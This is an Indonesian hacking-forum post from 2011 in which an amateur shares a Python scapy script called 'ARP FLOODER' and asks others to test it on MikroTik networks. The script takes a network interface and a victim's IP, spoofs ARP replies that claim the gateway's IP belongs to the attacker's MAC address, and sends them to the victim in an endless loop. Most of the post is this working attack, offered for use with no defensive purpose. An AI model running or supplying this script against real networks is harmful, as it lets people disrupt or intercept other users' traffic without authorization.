09-24-2011, 02:14 AM
Jadi yg dilakuin script ini adalah mengirim kan pake ARP tanpa henti dalam tempo yang sesingkat-singkatnya !!! hehehhe kayak proklamasi aja !!!
sy udah tes di jaringan wlan[non-MikroTik] n work .. mungkin ada om2 sekalian yg bisa bantu cek di jaringan yg pake MikroTik !!!
berikut scriptnya :
ssnya ::
moga bisa nambah2 !!! hehehhe .. n ane minta masukan om2 semua !! maklum masih amatiraann !!! :badpc:
sy udah tes di jaringan wlan[non-MikroTik] n work .. mungkin ada om2 sekalian yg bisa bantu cek di jaringan yg pake MikroTik !!!
berikut scriptnya :
Code:
#!/usr/bin/env python
from scapy.all import *
from time import sleep
import time
import sys, os, re, commands
def title():
if os.name == "posix":
os.system("clear")
else:
os.system("cls")
info = '''
_________________________
\ \______ \__ ___/
| || | _/ | |
| || | \ | |
|___||______ / |____| ARP FLOODER
\/
By RR12
Indonesian Backtrack Team
http://indonesianbacktrack.or.id
'''
for i in info:
print '\b%s' %(i),
sys.stdout.flush()
time.sleep(0.005)
print "\n"
def arpflood():
interface = raw_input(">] Input interface :")
conf.iface= interface
target = raw_input(">] Input target :")
target=target
arp_paket = ARP()
# IP Gateway
gw = commands.getoutput("ip route list | grep default").split()[2][0:]
arp_paket.psrc = gw
#IP Victim
arp_paket.pdst = target
#Mac
mac = commands.getoutput("ifconfig " + interface).split()[4][0:]
arp_paket.hwsrc = mac
sleep(3)
print '================================================'
print "[+] Interface : " + interface
print "[+] Gateway's IP Address : " + gw
print "[+] Your Mac Address : " + mac
print "[+] Victim\'s IP Address : " + target
print '================================================'
sleep(3)
print '''
>] Startting ARP Flooding ...
'''
try:
while 1:
send(arp_paket, verbose=0)
sleep(0.5)
except:
print '\n>] Process Stopped'
if __name__ == '__main__':
title()
try:
arpflood()
except KeyBoardInterrupt:
print '>] Exit'
ssnya ::
moga bisa nambah2 !!! hehehhe .. n ane minta masukan om2 semua !! maklum masih amatiraann !!! :badpc: